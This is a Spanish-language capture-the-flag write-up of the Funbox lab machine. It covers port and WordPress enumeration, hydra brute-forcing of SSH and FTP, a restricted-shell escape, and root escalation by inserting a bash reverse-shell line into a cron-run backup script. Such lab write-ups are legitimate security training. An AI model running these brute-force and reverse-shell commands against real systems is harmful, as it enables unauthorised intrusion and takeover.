🟠Funbox

Write-up de la máquina Funbox de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Vamos a comenzar la resolución de la máquina Funbox enumerando que puertos tiene abiertos el sistema objetivo.

nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.250.77

La máquina tiene servicios abiertos en los puertos 21,22,80 y 33060. El siguiente paso será la enumeración profunda de estos cuatros servicios.

nmap -p21,22,80,33060 -Pn -n -sVC -vvv 192.168.250.77

Enumeración Web

La máquina objetivo estaba ejecutando un servicio Web en el puerto 80. Vamos a enumerar su contenido.

Al introducir la IP en nuestro navegador, esta es redireccionada a un dominio.

Vamos a registrarlo en el archivo /etc/hosts.

Y ya podremos acceder al sitio Web.

Parece que el sitio Web está montado sobre un CMS WordPress. El siguiente paso será por un lado enumerar archivos y directorios interesantes, y por otro, enumerar más información interesante utilizando la herramienta especializada para este CMS, wpscan.

Comenzamos por la enumeración de directorios con dirsearch.

dirsearch -u http://funbox.fritz.box -i200,301 -e txt,html,php 

Interesante, tenemos un archivo robots.txt y un directorio /secret. Veamos su contenido.

Nos indica el directorio /secret que encontramos en la enumeración con dirsearch.

Nothing por aquí. Vamos a enumerar información interesante con wpscan.

wpscan --url http://funbox.fritz.box/ --enumerate u

Después de un momento, encontramos dos usuarios del CMS, admin y joe.

Sabiendo esto, vamos a tratar de realizar un ataque de fuerza bruta para encontrar credenciales que nos permita iniciar sesión en el Panel de Administración del sitio Web.

wpscan --url http://funbox.fritz.box -U joe -P /home/elhackeretico/rockyou.txt

Pero tras su ejecución, no encontramos credenciales.

Explotación

Tenemos dos nombres de usuario, y dos servicios, FTP y SSH, ejecutandose en la máquina objetivo. Vamos a tratar de encontrar credenciales con un ataque de fuerza bruta utilizando hydra.

hydra -l joe -P /home/elhackeretico/rockyou.txt -f "funbox.fritz.box" -s22 ssh
hydra -l joe -P /home/elhackeretico/rockyou.txt -f "funbox.fritz.box" -s21 ftp

Vamos a tratar de acceder al sistema a través de FTP, con las credenciales que encontramos anteriormente.

Descargamos estos archivos en nuestra máquina.

Encontramos la flag local.txt.

Elevación de privilegios

Veamos también el otro archivo descargado.

Es una copia de un correo electrónico. Parece que hay un usuario llamado "funny" que está esperando un script de respaldo. Buscaremos el directorio del usuario "funny", a ver si podemos encontrar alguna información relacionada.

La shell que recibimos tras conectarnos a través de SSH, es restringida. Vamos a saltarla haciendo la terminal interactiva con Python3.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Una vez hecho esto, ya podremos movernos sin limitaciones por los diferentes directorios.

En el directorio /home, encontramos dos usuarios, "joe" y "funny". Veamos el contenido del directorio del usuario "funny".

Dos archivos interesantes, reminder.sh y backup.sh. Veamos su contenido.

Vamos a verificar si el script .backup.sh está siendo utilizado por algún proceso y quién lo está utilizando. Para realizar esta verificación, podemos emplear la herramienta "pspy". Pspy es una herramienta que permite observar los procesos en ejecución sin necesidad de contar con permisos de root. Transferimos el ejecutable pspy64 a la máquina objetivo.

Y ejecutamos.

chmod +x pspy64
./pspy64

Como puede observar, el archivo "/home/funny/.backup.sh" se ejecuta tanto con el UID=1000 (Funny) como con el UID=0 (raíz). Por lo tanto, vamos a modificar el archivo y esperaremos una conexión entrante.

bash -i >& /dev/tcp/192.168.45.167/1337 0>&1

Los primeros intentos no tuvieron éxito y obtuvimos solo el usuario. Pero en el último intento, obtuvimos acceso como usuario "root".

Y ya estaría terminada la máquina funbox de la plataforma Proving Grounds.

Last updated